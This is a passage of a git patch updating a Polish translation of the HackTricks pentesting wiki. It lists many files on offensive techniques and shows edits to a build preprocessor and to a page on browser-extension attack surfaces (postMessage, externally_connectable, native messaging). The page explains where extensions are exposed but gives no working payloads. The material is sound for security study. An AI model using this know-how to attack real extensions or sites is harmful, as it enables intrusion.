From 95da4987240464a477acd3b7a04a0464be366afa Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 03:39:35 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox --- .github/pull_request_template.md | 2 + book.toml | 1 + hacktricks-preprocessor.py | 20 +-- src/1911-pentesting-fox.md | 6 +- .../README.md | 66 ++++----- .../browext-clickjacking.md | 6 +- ...rowext-permissions-and-host_permissions.md | 24 ++-- .../browext-xss-example.md | 6 +- src/pentesting-web/cache-deception/README.md | 58 ++++---- .../cache-deception/cache-poisoning-to-dos.md | 8 +- .../cache-poisoning-via-url-discrepancies.md | 22 +-- .../README.md | 68 +++++----- ...ypass-self-+-unsafe-inline-with-iframes.md | 2 +- .../README.md | 18 +-- src/pentesting-web/deserialization/README.md | 96 ++++++------- ...er-gadgets-expandedwrapper-and-json.net.md | 12 +- .../exploiting-__viewstate-parameter.md | 24 ++-- ...ava-dns-deserialization-and-gadgetprobe.md | 8 +- ...ava-transformers-to-rutime-exec-payload.md | 4 +- ...g-and-directory-interface-and-log4shell.md | 36 ++--- .../README.md | 18 +-- .../client-side-prototype-pollution.md | 10 +- .../express-prototype-pollution-gadgets.md | 8 +- .../prototype-pollution-to-rce.md | 18 +-- .../php-deserialization-+-autoload-classes.md | 6 +- .../deserialization/ruby-_json-pollution.md | 2 +- .../deserialization/ruby-class-pollution.md | 8 +- src/pentesting-web/file-inclusion/README.md | 64 ++++----- ..._stream_prefer_studio-+-path-disclosure.md | 4 +- .../lfi2rce-via-eternal-waiting.md | 14 +- .../lfi2rce-via-nginx-temp-files.md | 2 +- .../file-inclusion/lfi2rce-via-php-filters.md | 4 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 4 +- .../lfi2rce-via-segmentation-fault.md | 2 +- .../lfi2rce-via-temp-file-uploads.md | 10 +- .../file-inclusion/phar-deserialization.md | 2 +- .../via-php_session_upload_progress.md | 4 +- src/pentesting-web/file-upload/README.md | 36 ++--- .../hacking-with-cookies/README.md | 42 +++--- .../cookie-jar-overflow.md | 2 +- .../hacking-with-cookies/cookie-tossing.md | 8 +- .../http-connection-request-smuggling.md | 2 +- .../http-request-smuggling/README.md | 72 ++++++---- .../request-smuggling-in-http-2-downgrades.md | 2 +- .../http-response-smuggling-desync.md | 22 +-- src/pentesting-web/iframe-traps.md | 6 +- src/pentesting-web/login-bypass/README.md | 6 +- .../oauth-to-account-takeover.md | 40 +++--- src/pentesting-web/orm-injection.md | 14 +- src/pentesting-web/parameter-pollution.md | 13 +- .../pocs-and-polygloths-cheatsheet/README.md | 12 +- .../postmessage-vulnerabilities/README.md | 30 ++--- ...blocking-main-page-to-steal-postmessage.md | 12 +- .../bypassing-sop-with-iframes-1.md | 8 +- .../bypassing-sop-with-iframes-2.md | 4 +- ...l-postmessage-modifying-iframe-location.md | 8 +- .../proxy-waf-protections-bypass.md | 30 ++--- src/pentesting-web/race-condition.md | 28 ++-- src/pentesting-web/rate-limit-bypass.md | 10 +- .../registration-vulnerabilities.md | 28 ++-- src/pentesting-web/reset-password.md | 2 +- src/pentesting-web/reverse-tab-nabbing.md | 6 +- src/pentesting-web/saml-attacks/README.md | 18 +-- .../saml-attacks/saml-basics.md | 10 +- ...inclusion-edge-side-inclusion-injection.md | 4 +- src/pentesting-web/sql-injection/README.md | 30 ++--- .../sql-injection/ms-access-sql-injection.md | 24 ++-- .../sql-injection/mssql-injection.md | 12 +- .../sql-injection/mysql-injection/README.md | 6 +- .../sql-injection/oracle-injection.md | 12 +- .../postgresql-injection/README.md | 6 +- .../big-binary-files-upload-postgresql.md | 2 +- .../dblink-lo_import-data-exfiltration.md | 4 +- ...and-ntlm-chanllenge-response-disclosure.md | 6 +- .../pl-pgsql-password-bruteforce.md | 6 +- .../rce-with-postgresql-extensions.md | 18 +-- .../rce-with-postgresql-languages.md | 6 +- src/pentesting-web/sql-injection/sqlmap.md | 18 +-- .../sql-injection/sqlmap/README.md | 26 ++-- .../README.md | 44 +++--- .../cloud-ssrf.md | 26 ++-- .../url-format-bypass.md | 4 +- .../README.md | 34 ++--- .../el-expression-language.md | 8 +- .../jinja2-ssti.md | 8 +- src/pentesting-web/timing-attacks.md | 4 +- .../unicode-normalization.md | 8 +- src/pentesting-web/uuid-insecurities.md | 8 +- src/pentesting-web/web-tool-wfuzz.md | 6 +- .../web-vulnerabilities-methodology.md | 44 +++--- .../web-vulnerabilities-methodology/README.md | 22 +-- src/pentesting-web/websocket-attacks.md | 36 ++--- src/pentesting-web/xpath-injection.md | 2 +- src/pentesting-web/xs-search.md | 108 +++++++-------- src/pentesting-web/xs-search/README.md | 124 ++++++++--------- .../xs-search/css-injection/README.md | 26 ++-- .../event-loop-blocking-+-lazy-images.md | 16 +-- ...ble-stylesheet-language-transformations.md | 4 +- .../xss-cross-site-scripting/README.md | 62 +++++---- .../abusing-service-workers.md | 4 +- .../chrome-cache-to-xss.md | 2 +- .../dom-clobbering.md | 6 +- .../xss-cross-site-scripting/dom-invader.md | 8 +- .../xss-cross-site-scripting/dom-xss.md | 20 +-- .../iframes-in-xss-and-csp.md | 12 +- .../xss-cross-site-scripting/js-hoisting.md | 4 +- .../other-js-tricks.md | 6 +- .../server-side-xss-dynamic-pdf.md | 14 +- .../xss-in-markdown.md | 2 +- .../xssi-cross-site-script-inclusion.md | 6 +- .../xxe-xee-xml-external-entity.md | 46 +++---- .../escaping-from-gui-applications/README.md | 22 +-- .../firmware-analysis/README.md | 26 ++-- .../firmware-analysis/bootloader-testing.md | 8 +- .../firmware-analysis/firmware-integrity.md | 8 +- src/physical-attacks/physical-attacks.md | 6 +- .../low-power-wide-area-network.md | 2 +- .../pentesting-ble-bluetooth-low-energy.md | 4 +- src/radio-hacking/pentesting-rfid.md | 14 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 6 +- .../aws2exec-.dtors-and-.fini_array.md | 4 +- .../README.md | 4 +- .../aslr/README.md | 8 +- .../aslr/ret2plt.md | 2 +- .../no-exec-nx.md | 2 +- .../pie/README.md | 6 +- .../pie/bypassing-canary-and-pie.md | 12 +- .../relro.md | 16 +-- .../stack-canaries/README.md | 8 +- .../bf-forked-stack-canaries.md | 4 +- .../common-exploiting-problems.md | 2 +- .../linux-exploiting-basic-esp/elf-tricks.md | 26 ++-- .../format-strings/README.md | 20 +-- .../linux-exploiting-basic-esp/one-gadget.md | 6 +- .../stack-overflow/README.md | 14 +- .../stack-overflow/pointer-redirecting.md | 4 +- .../stack-overflow/ret2esp-ret2reg.md | 8 +- .../stack-overflow/ret2lib/README.md | 10 +- .../rop-leaking-libc-address/README.md | 16 +-- .../rop-leaking-libc-template.md | 2 +- .../stack-overflow/ret2ret.md | 2 +- .../stack-overflow/ret2win.md | 10 +- .../rop-return-oriented-programing.md | 2 +- .../stack-overflow/rop-syscall-execv.md | 8 +- .../srop-sigreturn-oriented-programming.md | 4 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 24 ++-- .../stack-overflow/stack-shellcode.md | 2 +- src/reversing/common-api-used-in-malware.md | 2 +- .../cryptographic-algorithms/README.md | 16 +-- .../reversing-tools-basic-methods/README.md | 36 ++--- .../angr/README.md | 4 +- .../angr/angr-examples.md | 6 +- .../cheat-engine.md | 16 +-- .../satisfiability-modulo-theories-smt-z3.md | 8 +- src/reversing/reversing-tools/README.md | 9 +- src/stego/stego-tricks.md | 10 +- src/todo/cookies-policy.md | 4 +- src/todo/hardware-hacking/README.md | 10 +- src/todo/hardware-hacking/jtag.md | 4 +- src/todo/hardware-hacking/radio.md | 18 +-- src/todo/hardware-hacking/spi.md | 6 +- src/todo/hardware-hacking/uart.md | 12 +- .../README.md | 2 +- .../modbus.md | 8 +- src/todo/investment-terms.md | 20 +-- .../0.-basic-llm-concepts.md | 22 +-- .../3.-token-embeddings.md | 24 ++-- .../4.-attention-mechanisms.md | 12 +- .../5.-llm-architecture.md | 44 +++--- .../7.0.-lora-improvements-in-fine-tuning.md | 6 +- ...7.2.-fine-tuning-to-follow-instructions.md | 16 +-- .../llm-training-data-preparation/README.md | 8 +- src/todo/misc.md | 4 +- src/todo/more-tools.md | 16 +-- src/todo/other-web-tricks.md | 2 +- src/todo/post-exploitation.md | 2 +- .../radio-hacking/fissure-the-rf-framework.md | 12 +- .../flipper-zero/fz-125khz-rfid.md | 4 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 12 +- .../radio-hacking/flipper-zero/fz-sub-ghz.md | 38 +++--- src/todo/radio-hacking/ibutton.md | 6 +- src/todo/radio-hacking/infrared.md | 6 +- .../low-power-wide-area-network.md | 4 +- .../pentesting-ble-bluetooth-low-energy.md | 2 +- src/todo/radio-hacking/pentesting-rfid.md | 18 +-- src/todo/radio-hacking/sub-ghz-rf.md | 18 +-- src/todo/rust-basics.md | 8 +- src/todo/test-llms.md | 4 +- src/welcome/hacktricks-values-and-faq.md | 18 +-- .../active-directory-methodology/README.md | 126 +++++++++--------- .../abusing-ad-mssql.md | 6 +- .../acl-persistence-abuse/README.md | 8 +- .../shadow-credentials.md | 6 +- .../ad-certificates.md | 16 +-- .../ad-certificates/README.md | 14 +- .../ad-certificates/account-persistence.md | 6 +- .../ad-certificates/certificate-theft.md | 8 +- .../ad-certificates/domain-escalation.md | 60 ++++----- .../ad-certificates/domain-persistence.md | 12 +- .../ad-dns-records.md | 2 +- .../ad-information-in-printers.md | 4 +- .../asreproast.md | 2 +- .../bloodhound.md | 4 +- .../constrained-delegation.md | 2 +- .../custom-ssp.md | 2 +- .../active-directory-methodology/dcshadow.md | 2 +- .../active-directory-methodology/dcsync.md | 6 +- .../diamond-ticket.md | 4 +- .../dsrm-credentials.md | 2 +- ...external-forest-domain-one-way-outbound.md | 22 +-- .../external-forest-domain-oneway-inbound.md | 6 +- .../golden-ticket.md | 8 +- .../kerberoast.md | 10 +- .../kerberos-double-hop-problem.md | 4 +- .../active-directory-methodology/laps.md | 6 +- .../over-pass-the-hash-pass-the-key.md | 6 +- .../printers-spooler-service-abuse.md | 14 +- .../privileged-groups-and-token-privileges.md | 28 ++-- .../rdp-sessions-abuse.md | 2 +- .../resource-based-constrained-delegation.md | 10 +- .../security-descriptors.md | 4 +- .../sid-history-injection.md | 14 +- .../silver-ticket.md | 4 +- .../skeleton-key.md | 6 +- .../unconstrained-delegation.md | 4 +- .../authentication-credentials-uac-and-efs.md | 18 +-- .../README.md | 14 +- .../uac-user-account-control.md | 26 ++-- src/windows-hardening/av-bypass.md | 108 ++++----------- .../basic-cmd-for-pentesters.md | 6 +- .../basic-powershell-for-pentesters/README.md | 10 +- .../powerview.md | 2 +- .../checklist-windows-privilege-escalation.md | 12 +- src/windows-hardening/cobalt-strike.md | 76 +++++------ .../lateral-movement/README.md | 2 +- .../lateral-movement/dcom-exec.md | 4 +- .../lateral-movement/psexec-and-winexec.md | 4 +- .../lateral-movement/smbexec.md | 3 +- .../lateral-movement/wmiexec.md | 4 +- src/windows-hardening/ntlm/README.md | 22 +-- .../ntlm/psexec-and-winexec.md | 4 +- src/windows-hardening/ntlm/smbexec.md | 2 +- src/windows-hardening/ntlm/wmiexec.md | 4 +- .../stealing-credentials/README.md | 24 ++-- .../credentials-mimikatz.md | 16 +-- .../credentials-protections.md | 22 +-- .../README.md | 90 ++++++------- .../access-tokens.md | 14 +- .../acls-dacls-sacls-aces.md | 64 ++++----- ...ectory-permission-over-service-registry.md | 4 +- .../com-hijacking.md | 4 +- .../create-msi-with-wix.md | 2 +- .../dll-hijacking.md | 20 +-- .../dll-hijacking/README.md | 64 ++++----- ...ritable-sys-path-+dll-hijacking-privesc.md | 8 +- .../dpapi-extracting-passwords.md | 8 +- .../integrity-levels.md | 6 +- .../juicypotato.md | 8 +- .../leaked-handle-exploitation.md | 12 +- .../privilege-escalation-abusing-tokens.md | 34 ++--- .../README.md | 16 +-- ...vilege-escalation-with-autorun-binaries.md | 34 +++-- .../roguepotato-and-printspoofer.md | 2 +- .../sedebug-+-seimpersonate-copy-token.md | 2 +- .../seimpersonate-from-high-to-system.md | 8 +- .../uac-user-account-control.md | 30 ++--- theme/book.js | 55 ++++++++ theme/css/chrome.css | 52 +++++++- theme/index.hbs | 78 +++++++---- theme/sponsor.js | 2 - 270 files changed, 2192 insertions(+), 2109 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index be1cd0bf5..2670fa476 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,3 +1,5 @@ +Możesz usunąć tę treść przed wysłaniem PR: + ## Attribution Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Proszę upewnić się, że przesyłasz tylko treści, które posiadasz lub na które masz pozwolenie od oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, lub w obu miejscach). Twój szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku dzielenia się dla wszystkich. diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index e42fdd0a8..cf5e99c3d 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -4,9 +4,9 @@ I więcej usług: -ubiquiti-discover udp "Ubiquiti Networks Device" +ubiquiti-discover udp "Urządzenie Ubiquiti Networks" -dht udp "DHT Nodes" +dht udp "Węzły DHT" 5060 udp sip "SIP/" @@ -24,6 +24,6 @@ InfluxDB ![]() -![]() +![]() {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 8e1741afd..c8ce0ca57 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -104,9 +104,9 @@ Po wyświetleniu narzędzi dewelopera, należy kliknąć na **zakładkę Źród ### Wstrzyknięte skrypty treści > [!TIP] -> Zauważ, że **skrypty treści nie są obowiązkowe**, ponieważ możliwe jest również **dynamiczne** **wstrzykiwanie** skryptów oraz **programowe wstrzykiwanie ich** na stronach internetowych za pomocą **`tabs.executeScript`**. To w rzeczywistości zapewnia bardziej **szczegółową kontrolę**. +> Należy zauważyć, że **skrypty treści nie są obowiązkowe**, ponieważ możliwe jest również **dynamiczne** **wstrzykiwanie** skryptów oraz **programowe wstrzykiwanie ich** na stronach internetowych za pomocą **`tabs.executeScript`**. To w rzeczywistości zapewnia bardziej **szczegółową kontrolę**. -Aby programowo wstrzyknąć skrypt treści, rozszerzenie musi mieć [uprawnienia hosta](https://developer.chrome.com/docs/extensions/reference/permissions) dla strony, do której skrypty mają być wstrzyknięte. Uprawnienia te mogą być zabezpieczone albo przez **zażądanie ich** w manifeście rozszerzenia, albo tymczasowo poprzez [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Aby programowo wstrzyknąć skrypt treści, rozszerzenie musi mieć [uprawnienia hosta](https://developer.chrome.com/docs/extensions/reference/permissions) dla strony, do której skrypty mają być wstrzyknięte. Te uprawnienia mogą być zabezpieczone albo przez **zażądanie ich** w manifeście rozszerzenia, albo tymczasowo poprzez [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Przykład rozszerzenia opartego na activeTab ```json:manifest.json @@ -208,13 +208,13 @@ js: ["contentScript.js"], ``` ### `background` -Wiadomości wysyłane przez skrypty treści są odbierane przez **stronę tła**, która odgrywa centralną rolę w koordynowaniu komponentów rozszerzenia. Co ważne, strona tła utrzymuje się przez cały czas życia rozszerzenia, działając dyskretnie bez bezpośredniej interakcji użytkownika. Posiada własny Model Obiektów Dokumentu (DOM), co umożliwia złożone interakcje i zarządzanie stanem. +Wiadomości wysyłane przez skrypty zawartości są odbierane przez **stronę tła**, która odgrywa centralną rolę w koordynowaniu komponentów rozszerzenia. Co ważne, strona tła utrzymuje się przez cały czas życia rozszerzenia, działając dyskretnie bez bezpośredniej interakcji użytkownika. Posiada własny Model Obiektów Dokumentu (DOM), co umożliwia złożone interakcje i zarządzanie stanem. **Kluczowe punkty**: -- **Rola strony tła:** Działa jako centrum nerwowe dla rozszerzenia, zapewniając komunikację i koordynację między różnymi częściami rozszerzenia. +- **Rola Strony Tła:** Działa jako centrum nerwowe dla rozszerzenia, zapewniając komunikację i koordynację między różnymi częściami rozszerzenia. - **Trwałość:** To zawsze obecny byt, niewidoczny dla użytkownika, ale integralny dla funkcjonalności rozszerzenia. -- **Automatyczne generowanie:** Jeśli nie jest wyraźnie zdefiniowane, przeglądarka automatycznie utworzy stronę tła. Ta automatycznie generowana strona będzie zawierać wszystkie skrypty tła określone w manifeście rozszerzenia, zapewniając płynne działanie zadań tła rozszerzenia. +- **Automatyczne Generowanie:** Jeśli nie jest wyraźnie zdefiniowane, przeglądarka automatycznie utworzy stronę tła. Ta automatycznie generowana strona będzie zawierać wszystkie skrypty tła określone w manifeście rozszerzenia, zapewniając płynne działanie zadań tła rozszerzenia. > [!TIP] > Wygoda zapewniana przez przeglądarkę w automatycznym generowaniu strony tła (gdy nie jest wyraźnie zadeklarowana) zapewnia, że wszystkie niezbędne skrypty tła są zintegrowane i działają, upraszczając proces konfiguracji rozszerzenia. @@ -298,14 +298,14 @@ Te strony są dostępne pod adresem URL takim jak: ``` chrome-extension:///message.html ``` -W publicznych rozszerzeniach **identyfikator rozszerzenia jest dostępny**: +W publicznych rozszerzeniach **extension-id jest dostępny**:
-Jednakże, jeśli parametr `manifest.json` **`use_dynamic_url`** jest używany, ten **identyfikator może być dynamiczny**. +Jednakże, jeśli parametr `manifest.json` **`use_dynamic_url`** jest używany, to **id może być dynamiczne**. > [!TIP] -> Zauważ, że nawet jeśli strona jest tutaj wymieniona, może być **chroniona przed ClickJacking** dzięki **Polityce Bezpieczeństwa Treści**. Dlatego musisz również to sprawdzić (sekcja frame-ancestors), zanim potwierdzisz, że atak ClickJacking jest możliwy. +> Zauważ, że nawet jeśli strona jest tutaj wymieniona, może być **chroniona przed ClickJacking** dzięki **Content Security Policy**. Dlatego musisz również to sprawdzić (sekcja frame-ancestors) przed potwierdzeniem, że atak ClickJacking jest możliwy. Możliwość dostępu do tych stron sprawia, że są one **potencjalnie podatne na ClickJacking**: @@ -317,17 +317,17 @@ browext-clickjacking.md > Zezwolenie na ładowanie tych stron tylko przez rozszerzenie, a nie przez losowe adresy URL, może zapobiec atakom ClickJacking. > [!CAUTION] -> Zauważ, że strony z **`web_accessible_resources`** oraz inne strony rozszerzenia również mogą **kontaktować się z skryptami w tle**. Jeśli jedna z tych stron jest podatna na **XSS**, może to otworzyć większą lukę. +> Zauważ, że strony z **`web_accessible_resources`** oraz inne strony rozszerzenia również mogą **kontaktować się z skryptami w tle**. Więc jeśli jedna z tych stron jest podatna na **XSS**, może to otworzyć większą lukę. > -> Ponadto, zauważ, że możesz otwierać tylko strony wskazane w **`web_accessible_resources`** wewnątrz iframe, ale z nowej karty możliwe jest uzyskanie dostępu do dowolnej strony w rozszerzeniu, znając identyfikator rozszerzenia. Dlatego, jeśli znajdziesz XSS wykorzystujące te same parametry, może być to wykorzystane, nawet jeśli strona nie jest skonfigurowana w **`web_accessible_resources`**. +> Ponadto, zauważ, że możesz otworzyć tylko strony wskazane w **`web_accessible_resources`** wewnątrz iframe, ale z nowej karty można uzyskać dostęp do dowolnej strony w rozszerzeniu, znając ID rozszerzenia. Dlatego, jeśli XSS zostanie znalezione, wykorzystując te same parametry, może być nadużyte, nawet jeśli strona nie jest skonfigurowana w **`web_accessible_resources`**. ### `externally_connectable` Zgodnie z [**dokumentacją**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), właściwość manifestu `"externally_connectable"` deklaruje **które rozszerzenia i strony internetowe mogą łączyć się** z Twoim rozszerzeniem za pomocą [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) i [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). - Jeśli klucz **`externally_connectable`** **nie** jest zadeklarowany w manifeście Twojego rozszerzenia lub jest zadeklarowany jako **`"ids": ["*"]`**, **wszystkie rozszerzenia mogą się łączyć, ale żadne strony internetowe nie mogą się łączyć**. -- Jeśli **określone identyfikatory są podane**, jak w `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **tylko te aplikacje** mogą się łączyć. -- Jeśli **dopasowania** są określone, te aplikacje internetowe będą mogły się łączyć: +- Jeśli **określone ID są podane**, jak w `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **tylko te aplikacje** mogą się łączyć. +- Jeśli **określone dopasowania** są podane, te aplikacje webowe będą mogły się łączyć: ```json "matches": [ "https://*.google.com/*", @@ -348,7 +348,7 @@ Im **mniej rozszerzeń i adresów URL** wskazanych tutaj, tym **mniejsza powierz ### Rozszerzenie <--> WebApp -Aby komunikować się między skryptem treści a stroną internetową, zazwyczaj używane są wiadomości post. Dlatego w aplikacji internetowej zazwyczaj znajdziesz wywołania funkcji **`window.postMessage`** oraz w skrypcie treści nasłuchiwacze, takie jak **`window.addEventListener`**. Należy jednak zauważyć, że rozszerzenie może również **komunikować się z aplikacją internetową, wysyłając wiadomość Post** (a zatem strona powinna się tego spodziewać) lub po prostu sprawić, że strona załaduje nowy skrypt. +Aby komunikować się między skryptem treści a stroną internetową, zazwyczaj używane są wiadomości post. Dlatego w aplikacji internetowej zazwyczaj znajdziesz wywołania funkcji **`window.postMessage`** oraz w skrypcie treści nasłuchiwacze, takie jak **`window.addEventListener`**. Należy jednak zauważyć, że rozszerzenie może również **komunikować się z aplikacją internetową, wysyłając wiadomość Post** (a zatem strona powinna się tego spodziewać) lub po prostu sprawić, by strona załadowała nowy skrypt. ### Wewnątrz rozszerzenia @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** Komunikacja Skryptów Treści -Środowiska, w których działają **skrypty treści**, oraz gdzie istnieją strony hosta, są **oddzielone** od siebie, zapewniając **izolację**. Mimo tej izolacji, obie strony mają możliwość interakcji z **Modelem Obiektów Dokumentu (DOM)** strony, wspólnym zasobem. Aby strona hosta mogła nawiązać komunikację z **skryptem treści**, lub pośrednio z rozszerzeniem przez skrypt treści, konieczne jest wykorzystanie **DOM**, który jest dostępny dla obu stron jako kanał komunikacyjny. +Środowiska, w których działają **skrypty treści**, oraz strony hosta są **oddzielone** od siebie, zapewniając **izolację**. Mimo tej izolacji, obie strony mają możliwość interakcji z **Modelem Obiektów Dokumentu (DOM)** strony, wspólnym zasobem. Aby strona hosta mogła nawiązać komunikację z **skryptem treści**, lub pośrednio z rozszerzeniem przez skrypt treści, konieczne jest wykorzystanie **DOM**, który jest dostępny dla obu stron jako kanał komunikacyjny. ### Wiadomości Post ```javascript:content-script.js @@ -455,7 +455,7 @@ Bezpieczna komunikacja Post Message powinna sprawdzać autentyczność otrzymane - **`event.isTrusted`**: To jest True tylko wtedy, gdy zdarzenie zostało wywołane przez akcję użytkownika - Skrypt treści może oczekiwać wiadomości tylko wtedy, gdy użytkownik wykona jakąś akcję - **origin domain**: może oczekiwać wiadomości tylko z dozwolonej listy domen. -- Jeśli używana jest regex, bądź bardzo ostrożny +- Jeśli używana jest wyrażenie regularne, należy być bardzo ostrożnym - **Source**: `received_message.source !== window` może być użyte do sprawdzenia, czy wiadomość była **z tego samego okna**, w którym skrypt treści nasłuchuje. Poprzednie kontrole, nawet jeśli są przeprowadzane, mogą być podatne, więc sprawdź na następującej stronie **potencjalne obejścia Post Message**: @@ -474,7 +474,7 @@ browext-xss-example.md ### DOM -To nie jest "dokładnie" sposób komunikacji, ale **web i skrypt treści będą miały dostęp do DOM web**. Więc, jeśli **skrypt treści** odczytuje jakieś informacje z niego, **ufając DOM web**, web może **zmodyfikować te dane** (ponieważ web nie powinien być ufany, lub ponieważ web jest podatny na XSS) i **kompromitować skrypt treści**. +To nie jest "dokładnie" sposób komunikacji, ale **sieć i skrypt treści będą miały dostęp do DOM sieci**. Więc, jeśli **skrypt treści** odczytuje jakieś informacje z niego, **ufając DOM sieci**, sieć mogłaby **zmodyfikować te dane** (ponieważ sieć nie powinna być ufana, lub ponieważ sieć jest podatna na XSS) i **skompromentować skrypt treści**. Możesz również znaleźć przykład **XSS opartego na DOM, aby skompromitować rozszerzenie przeglądarki** w: @@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) console.log(response) })() ``` -Na **odbiorze** musisz ustawić [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **nasłuchiwacz zdarzeń**, aby obsłużyć wiadomość. Wygląda to tak samo z poziomu skryptu treści lub strony rozszerzenia. +Na **odbiorze** musisz ustawić [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **nasłuchiwacz zdarzeń**, aby obsłużyć wiadomość. Wygląda to tak samo z skryptu treści lub strony rozszerzenia. ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { @@ -521,15 +521,15 @@ sender.tab if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) }) ``` -W podanym przykładzie **`sendResponse()`** został wykonany w sposób synchroniczny. Aby zmodyfikować obsługę zdarzenia `onMessage` do asynchronicznego wykonania `sendResponse()`, konieczne jest dodanie `return true;`. +W podanym przykładzie **`sendResponse()`** został wykonany w sposób synchroniczny. Aby zmodyfikować obsługę zdarzenia `onMessage` na asynchroniczne wykonanie `sendResponse()`, konieczne jest dodanie `return true;`. -Ważnym zagadnieniem jest to, że w scenariuszach, w których wiele stron jest ustawionych na odbieranie zdarzeń `onMessage`, **pierwsza strona, która wykona `sendResponse()`** dla konkretnego zdarzenia, będzie jedyną, która skutecznie dostarczy odpowiedź. Jakiekolwiek kolejne odpowiedzi na to samo zdarzenie nie będą brane pod uwagę. +Ważnym zagadnieniem jest to, że w scenariuszach, w których wiele stron ma odbierać zdarzenia `onMessage`, **pierwsza strona, która wykona `sendResponse()`** dla konkretnego zdarzenia, będzie jedyną, która skutecznie dostarczy odpowiedź. Jakiekolwiek kolejne odpowiedzi na to samo zdarzenie nie będą brane pod uwagę. Podczas tworzenia nowych rozszerzeń preferencje powinny być skierowane ku obietnicom zamiast do callbacków. Jeśli chodzi o użycie callbacków, funkcja `sendResponse()` jest uznawana za ważną tylko wtedy, gdy jest wykonywana bezpośrednio w kontekście synchronicznym lub jeśli obsługa zdarzenia wskazuje na operację asynchroniczną, zwracając `true`. Jeśli żaden z handlerów nie zwróci `true` lub jeśli funkcja `sendResponse()` zostanie usunięta z pamięci (zbieranie śmieci), callback związany z funkcją `sendMessage()` zostanie wywołany domyślnie. ## Native Messaging -Rozszerzenia przeglądarki umożliwiają również komunikację z **programami w systemie za pomocą stdin**. Aplikacja musi zainstalować plik json wskazujący to w formacie json, jak: +Rozszerzenia przeglądarki umożliwiają również komunikację z **binariami w systemie za pomocą stdin**. Aplikacja musi zainstalować plik json wskazujący to w formacie json, takim jak: ```json { "name": "com.my_company.my_application", @@ -539,14 +539,14 @@ Rozszerzenia przeglądarki umożliwiają również komunikację z **programami w "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -Gdzie `name` to ciąg przekazywany do [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) lub [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) w celu komunikacji z aplikacją z tła skryptów rozszerzenia przeglądarki. `path` to ścieżka do binarnego pliku, istnieje tylko 1 ważny `type`, którym jest stdio (użyj stdin i stdout), a `allowed_origins` wskazuje rozszerzenia, które mogą uzyskać do niego dostęp (i nie mogą mieć wildcard). +Gdzie `name` to ciąg przekazywany do [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) lub [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) w celu komunikacji z aplikacją z tła skryptów rozszerzenia przeglądarki. `path` to ścieżka do binarnego 